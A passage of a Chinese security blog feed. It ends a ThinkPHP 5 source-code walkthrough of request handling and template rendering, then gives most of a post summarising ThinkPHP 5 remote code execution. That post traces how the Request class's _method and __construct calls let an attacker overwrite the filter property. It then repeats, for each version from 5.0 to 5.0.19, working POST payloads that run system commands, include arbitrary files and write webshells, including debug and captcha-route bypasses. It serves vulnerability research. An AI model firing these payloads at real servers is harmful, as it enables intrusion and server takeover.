            $data = (int)$data;
            break;
            // 浮点
        case 'f':
            $data = (float)$data;
            break;
            // 布尔
        case 'b':
            $data = (boolean)$data;
            break;
            // 字符串
        case 's':
        default:
            if (is_scalar($data)) {
                $data = (string)$data;
            } else {
                throw new InvalidArgumentException('variable type error：' . gettype($data));
            }
    }
}
</code></pre>
<p>此时可知 <code>input()</code>助手函数 -><code>request</code>类<code>param()</code> -> <code>request</code>类<code>input()</code>获取参数<br />
我们此时再来看下request类，这个类中有很多函数，比如get()、post()、put()、env()、delete()等，其实他们最终都会流向<code>input()</code>函数</p>
<pre><code class="language-php ">public function get($name = '', $default = null, $filter = '')
{
    if (empty($this-&gt;get)) {
        $this-&gt;get = $_GET;
    }
    if (is_array($name)) {
        $this-&gt;param = [];
        $this-&gt;mergeParam = false;
        return $this-&gt;get = array_merge($this-&gt;get, $name);
    }
    return $this-&gt;input($this-&gt;get, $name, $default, $filter);
}
</code></pre>
<p>比如<code>get()</code>会合并<code>$_GET</code>数组中的参数然后传入<code>input()</code>。</p>
<h2>小结</h2>
<p>Request类是一个获取请求类，thinkphp将多种请求的全局数组封装了一下，变为自己的函数，并且进行了过滤和强制类型转换，以此保证参数的安全性。</p>
<h1>视图渲染View.php</h1>
<pre><code class="language-php ">&lt;?php

namespace appindexcontroller;

use thinkController;

class Index extends Controller
{
    public function index($name)
    {
        $this-&gt;assign('name',$name);
        return $this-&gt;fetch();
    }
}

</code></pre>
<p>写一个index方法来赋值变量并渲染模板，需要注意继承<code>父类Controller</code>，不然没法使用assign和fetch。创建模板文件<code>application/index/view/index/index.html</code>，内容为</p>
<pre><code class="language-php ">hello {$name}
</code></pre>
<p>然后我们来康康thinkphp是怎么实现的模板功能，打断点</p>
<pre><code class="language-php ">//thinkphp/library/think/Controller.php
protected function assign($name, $value = '')
{
    $this-&gt;view-&gt;assign($name, $value);

    return $this;
}
</code></pre>
<p>跟进<code>$this-&gt;view-&gt;assign()</code></p>
<pre><code class="language-php ">public function assign($name, $value = '')
{
    if (is_array($name)) {
        $this-&gt;data = array_merge($this-&gt;data, $name);
    } else {
        $this-&gt;data[$name] = $value;
    }
    return $this;
}
</code></pre>
<p>这个方法中把赋给模板的参数合并到<code>$this-&gt;data</code>，然后返回进入<code>$this-&gt;fetch()</code>，</p>
<pre><code class="language-php ">//thinkphp/library/think/Controller.php:118
protected function fetch($template = '', $vars = [], $replace = [], $config = [])
{
    return $this-&gt;view-&gt;fetch($template, $vars, $replace, $config);
}
</code></pre>
<p>继续跟进</p>
<pre><code class="language-php ">public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
    // 模板变量
    $vars = array_merge(self::$var, $this-&gt;data, $vars);

    // 页面缓存
    ob_start();
    ob_implicit_flush(0);

    // 渲染输出
    try {
        $method = $renderContent ? 'display' : 'fetch';
        // 允许用户自定义模板的字符串替换
        $replace = array_merge($this-&gt;replace, $replace, (array) $this-&gt;engine-&gt;config('tpl_replace_string'));
        $this-&gt;engine-&gt;config('tpl_replace_string', $replace);
        $this-&gt;engine-&gt;$method($template, $vars, $config);
    } catch (Exception $e) {
        ob_end_clean();
        throw $e;
    }

    // 获取并清空缓存
    $content = ob_get_clean();
    // 内容过滤标签
    Hook::listen('view_filter', $content);
    return $content;
}
</code></pre>
<p>先开启缓冲区，然后定义变量用来存放用户自定义的需要替换的字符串，进入<code>config()</code>函数中做渲染引擎初始化配置</p>
<pre><code class="language-php ">public function config($name, $value = null)
{
    if (is_array($name)) {
        $this-&gt;template-&gt;config($name);
        $this-&gt;config = array_merge($this-&gt;config, $name);
    } elseif (is_null($value)) {
        return $this-&gt;template-&gt;config($name);
    } else {
        $this-&gt;template-&gt;$name = $value;
        $this-&gt;config[$name]   = $value;
    }
}
</code></pre>
<p>然后进入<code>$this-&gt;engine-&gt;$method($template, $vars, $config);</code></p>
<pre><code class="language-php ">public function fetch($template, $data = [], $config = [])
{
    if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
        // 获取模板文件名
        $template = $this-&gt;parseTemplate($template);
    }
    // 模板不存在 抛出异常
    if (!is_file($template)) {
        throw new TemplateNotFoundException('template not exists:' . $template, $template);
    }
    // 记录视图信息
    App::$debug &amp;&amp; Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
    $this-&gt;template-&gt;fetch($template, $data, $config);
}
</code></pre>
<p>当没有传模板名时会使用<code>$this-&gt;parseTemplate($template)</code>来自动搜索模板文件</p>
<pre><code class="language-php ">private function parseTemplate($template)
{
    ...
        if ($this-&gt;config['view_base']) {
            // 基础视图目录
            $module = isset($module) ? $module : $request-&gt;module();
            $path   = $this-&gt;config['view_base'] . ($module ? $module . DS : '');
        } else {
            $path = isset($module) ? APP_PATH . $module . DS . 'view' . DS : $this-&gt;config['view_path'];
        }

    $depr = $this-&gt;config['view_depr'];
    if (0 !== strpos($template, '/')) {
        $template   = str_replace(['/', ':'], $depr, $template);
        $controller = Loader::parseName($request-&gt;controller());
        if ($controller) {
            if ('' == $template) {
                // 如果模板文件名为空 按照默认规则定位
                $template = str_replace('.', DS, $controller) . $depr . (1 == $this-&gt;config['auto_rule'] ? Loader::parseName($request-&gt;action(true)) : $request-&gt;action());
            } 
            ...
        }
    }
    ...
        return $path . ltrim($template, '/') . '.' . ltrim($this-&gt;config['view_suffix'], '.');
}
</code></pre>
<p>最后返回的就是<code>E:codephpthinkphpthinkphp5public/../application/indexviewindexindex.html</code>，这是默认的模板位置，然后debug之后又进入<code>$this-&gt;template-&gt;fetch($template, $data, $config)</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127220985.jpg" alt="image" /><br />
为了方便看流程，我注释掉了部分代码，可以看到首先是<code>$this-&gt;data = $vars;</code>将参数合并到<code>data</code>中，然后开启缓冲区，进入<code>$this-&gt;storage-&gt;read($cacheFile, $this-&gt;data)</code>，然后输出<code>$content</code>，最后<code>$content</code>就是我们模板已经被解析过的内容。那么我们进入<code>$this-&gt;storage-&gt;read()</code>看下</p>
<pre><code class="language-php ">public function read($cacheFile, $vars = [])
{
    $this-&gt;cacheFile = $cacheFile;
    if (!empty($vars) &amp;&amp; is_array($vars)) {
        // 模板阵列变量分解成为独立变量
        extract($vars, EXTR_OVERWRITE);
    }
    //载入模版缓存文件
    include $this-&gt;cacheFile;
}
</code></pre>
<p>会将我们的参数进行变量覆盖，然后包含缓存文件，也就是我们的模板文件，在包含的时候缓冲区就写入了渲染完成的模板的内容，而后<code>$content</code>获取到的就是渲染的内容，这就是全部流程。</p>
<h2>小结</h2>
<p><img src="/wp-content/uploads/2019/11/20191127224186.jpg" alt="image" /></p>
<h1>总结</h1>
<p>thinkphp那么多的代码不是我一篇文章就能说完的，阅读thinkphp的源码你需要对thinkphp的开发流程及php的函数特性有着足够深入的了解，在本文中只是简单介绍了thinkphp的实现过程，有很多东西没有时间和精力去写笔记，比如模板解析、Model层、数据库交互、模板缓存等是怎么实现的，东西是写给自己看的，如果有前辈或者后人看到了这篇文章，请多谅解。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp5 RCE总结</title>
		<link>/audit/1078.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 Nov 2019 15:26:26 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[thinkphp]]></category>
		<guid isPermaLink="false">/?p=1078</guid>

					<description><![CDATA[thinkphp5最出名的就是rce，我先总结rce，rce有两个大版本的分别 ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>5最出名的就是<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>，我先总结rce，rce有两个大版本的分别</p>
<ol>
<li>ThinkPHP 5.0-5.0.24</li>
<li>ThinkPHP 5.1.0-5.1.30</li>
</ol>
<p>因为漏洞触发点和版本的不同，导致payload分为多种，其中一些payload需要取决于debug选项<br />
比如直接访问路由触发的</p>
<p>5.1.x ：</p>
<pre><code class="">?s=index/thinkRequest/input&amp;filter[]=system&amp;data=pwd
?s=index/thinkviewdriverPhp/display&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinktemplatedriverfile/write&amp;cacheFile=shell.php&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinkContainer/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</code></pre>
<p>5.0.x ：</p>
<pre><code class="">?s=index/thinkconfig/get&amp;name=database.username # 获取配置信息
?s=index/thinkLang/load&amp;file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&amp;file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index|thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][0]=whoami
</code></pre>
<p>还有一种</p>
<pre><code class="">http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;get[]=phpinfo
_method=__construct&amp;filter[]=system&amp;method=GET&amp;get[]=whoami

# ThinkPHP &lt;= 5.0.13
POST /?s=index/index
s=whoami&amp;_method=__construct&amp;method=&amp;filter[]=system

# ThinkPHP &lt;= 5.0.23、5.1.0 &lt;= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=ls -al

# ThinkPHP &lt;= 5.0.23 需要存在xxx的method路由，例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&amp;filter[]=system&amp;method=get&amp;get[]=ls+-al
_method=__construct&amp;filter[]=system&amp;method=get&amp;server[REQUEST_METHOD]=ls
</code></pre>
<p>可以看到payload分为两种类型，一种是因为Request类的<code>method</code>和<code>__construct</code>方法造成的，另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验，我们下面分两种来讲，然后会将thinkphp5的每个小版本都测试下找下可用的payload。</p>
<h1>thinkphp5 method任意调用方法导致rce</h1>
<p>php5.4.45+phpstudy+thinkphp5.0.5+phpstorm+xdebug</p>
<h1>创建项目</h1>
<pre><code class="">composer create-project topthink/think=5.0.5 thinkphp5.0.5  --prefer-dist
</code></pre>
<p>我这边创建完项目之后拿到的版本不是5.0.5的，如果你的也不是就把compsoer.json里的require字段改为</p>
<pre><code class="language-json ">"require": {
    "php": "&gt;=5.4.0",
    "topthink/framework": "5.0.5"
},
</code></pre>
<p>然后运行<code>compsoer update</code></p>
<h1>漏洞分析</h1>
<p><code>thinkphp/library/think/Request.php:504</code> <code>Request</code>类的<code>method</code>方法</p>
<p><img src="https://y4er.com/img/uploads/20191127224395.jpg" alt="image" /></p>
<p>可以通过POST数组传入<code>__method</code>改变<code>$this-&gt;{$this-&gt;method}($_POST);</code>达到任意调用此类中的方法。</p>
<p>然后我们再来看这个类中的<code>__contruct</code>方法</p>
<pre><code class="language-php ">protected function __construct($options = [])
{
    foreach ($options as $name =&gt; $item) {
        if (property_exists($this, $name)) {
            $this-&gt;$name = $item;
        }
    }
    if (is_null($this-&gt;filter)) {
        $this-&gt;filter = Config::get('default_filter');
    }
    // 保存 php://input
    $this-&gt;input = file_get_contents('php://input');
}
</code></pre>
<p>重点是在<code>foreach</code>中，可以覆盖类属性，那么我们可以通过覆盖<code>Request</code>类的属性</p>
<p><img src="/wp-content/uploads/2019/11/20191127225026.jpg" alt="image" /></p>
<p>这样<code>filter</code>就被赋值为<code>system()</code>了，在哪调用的呢？我们要追踪下thinkphp的运行流程<br />
thinkphp是单程序入口，入口在public/index.php，在index.php中</p>
<pre><code class="">require __DIR__ . '/../thinkphp/start.php';
</code></pre>
<p>引入框架的<code>start.php</code>，跟进之后调用了App类的静态<code>run()</code>方法</p>
<p><img src="/wp-content/uploads/2019/11/20191127224263.jpg" alt="image" /></p>
<p>看下<code>run()</code>方法的定义</p>
<pre><code class="language-php ">public static function run(Request $request = null)
{
    ...省略...
        // 获取应用调度信息
        $dispatch = self::$dispatch;
    if (empty($dispatch)) {
        // 进行URL路由检测
        $dispatch = self::routeCheck($request, $config);
    }
    // 记录当前调度信息
    $request-&gt;dispatch($dispatch);

    // 记录路由和请求信息
    if (self::$debug) {
        Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
        Log::record('[ HEADER ] ' . var_export($request-&gt;header(), true), 'info');
        Log::record('[ PARAM ] ' . var_export($request-&gt;param(), true), 'info');
    }
    ...省略...
        switch ($dispatch['type']) {
            case 'redirect':
                // 执行重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')-&gt;code($dispatch['status']);
                break;
            case 'module':
                // 模块/控制器/操作
                $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                break;
            case 'controller':
                // 执行控制器操作
                $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
                $data = Loader::action($dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix']);
                break;
            case 'method':
                // 执行回调方法
                $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function':
                // 执行闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response':
                $data = $dispatch['response'];
                break;
            default:
                throw new InvalidArgumentException('dispatch type not support');
        }
}
</code></pre>
<p>首先是经过<code>$dispatch = self::routeCheck($request, $config)</code>检查调用的路由，然后会根据debug开关来选择是否执行<code>Request::instance()-&gt;param()</code>，然后是一个<code>switch</code>语句，当<code>$dispatch</code>等于<code>controller</code>或者<code>method</code>时会执行<code>Request::instance()-&gt;param()</code>，只要是存在的路由就可以进入这两个case分支。</p>
<p>而在 ThinkPHP5 完整版中，定义了验证码类的路由地址<code>?s=captcha</code>，默认这个方法就能使<code>$dispatch=method</code>从而进入<code>Request::instance()-&gt;param()</code>。</p>
<p>我们继续跟进<code>Request::instance()-&gt;param()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127220215.jpg" alt="image" /></p>
<p>执行合并参数判断请求类型之后return了一个<code>input()</code>方法，跟进</p>
<p><img src="/wp-content/uploads/2019/11/20191127229199.jpg" alt="image" /></p>
<p>将被<code>__contruct</code>覆盖掉的filter字段回调进<code>filterValue()</code>，这个方法我们需要特别关注了，因为 <code>Request</code> 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 <code>filterValue</code> 方法，而该方法中就存在可利用的 <code>call_user_func</code> 函数。跟进</p>
<p><img src="/wp-content/uploads/2019/11/20191127223843.jpg" alt="image" /></p>
<p><code>call_user_func</code>调用<code>system</code>造成rce。</p>
<p>梳理一下：<code>$this-&gt;method</code>可控导致可以调用<code>__contruct()</code>覆盖Request类的filter字段，然后App::run()执行判断debug来决定是否执行<code>$request-&gt;param()</code>，并且还有<code>$dispatch['type']</code> 等于<code>controller</code>或者 <code>method</code> 时也会执行<code>$request-&gt;param()</code>，而<code>$request-&gt;param()</code>会进入到<code>input()</code>方法，在这个方法中将被覆盖的<code>filter</code>回调<code>call_user_func()</code>，造成rce。</p>
<p>最后借用七月火师傅的一张流程图<br />
<img src="/wp-content/uploads/2019/11/20191127228626.jpg" alt="image" /></p>
<h1>method __contruct导致的rce 各版本payload</h1>
<p>一个一个版本测试，测试选项有命令执行、写shell、debug选项</p>
<h2>5.0</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.1</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.2</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.3</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.4</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.5</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.6</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.7</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.8</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.9</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.10</h2>
<p>从5.0.10开始默认debug=false，debug无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.11</h2>
<p>默认debug=false，debug无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.12</h2>
<p>默认debug=false，debug无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.13</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h1>版本和DEBUG选项的关系</h1>
<p>5.0.13版本之后需要开启debug才能rce，为什么？比较一下5.0.13和5.0.5版本的代码</p>
<p>https://github.com/top-think/framework/compare/v5.0.5&#8230;v5.0.13#diff-d86cf2606459bf4da21b7c3a1f7191f3</p>
<p>可见多了一个<code>exec</code>方法把<code>switch ($dispatch['type'])</code>摘出来了，然后在<code>case module</code>中执行了<code>module()</code>，在<code>module()</code>中多了两行。</p>
<pre><code class="">// 设置默认过滤机制
$request-&gt;filter($config['default_filter']);
</code></pre>
<p>问题就出在这，回顾我们上文分析5.0.5，是从<code>App::run()</code>方法中第一次加载默认filter位置: <code>thinkphp/library/think/App.php</code></p>
<pre><code class="">$request-&gt;filter($config['default_filter']);
</code></pre>
<p>在覆盖的时候可以看到，默认<code>default_filter</code>是为空字符串，所以最后便是进入了<code>$this-&gt;filter = $filter</code>导致<code>system</code>值变为空。</p>
<pre><code class="language-php ">public function filter($filter = null){
        if (is_null($filter)) {
            return $this-&gt;filter;
        } else {
            $this-&gt;filter = $filter;
        }
}
</code></pre>
<p>接下来就是我们进入了路由<code>check</code>，从而覆盖<code>filter</code>的值为<code>system</code><br />
<img src="/wp-content/uploads/2019/11/20191127223884.jpg" alt="image" /></p>
<p>但是在5.0.13中，摘出来的<code>exec()</code>中的<code>module()</code>方法<code>thinkphp/library/think/App.php:544</code> 会重新执行一次<code>$request-&gt;filter($config['default_filter']);</code> 把我们覆盖好的<code>system</code>重新变为了空，导致失败。</p>
<p><strong>那为什么开了debug就可以rce？</strong><br />
<img src="/wp-content/uploads/2019/11/20191127223239.jpg" alt="image" /><br />
这里会先调用<code>$request-&gt;param()</code>，然后在执行<code>self::exec($dispatch, $config)</code>，造成rce。</p>
<p><strong>那有没有别的办法不开debug直接rce呢？</strong><br />
和debug的原理一样，switch的时候进入module分支会被覆盖，那就进入到其他的分支。<br />
<img src="/wp-content/uploads/2019/11/20191127221821.jpg" alt="image" /><br />
在thinkphp5完整版中官网揉进去了一个验证码的路由，可以通过这个路由触发rce</p>
<p>这个是我在5.0.13下试出来的payload <code>"topthink/think-captcha": "^1.0"</code></p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<p>我们继续</p>
<h2>5.0.13补充</h2>
<p>补充<br />
有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.14</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.15</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.16</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.17</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.18</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.19</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
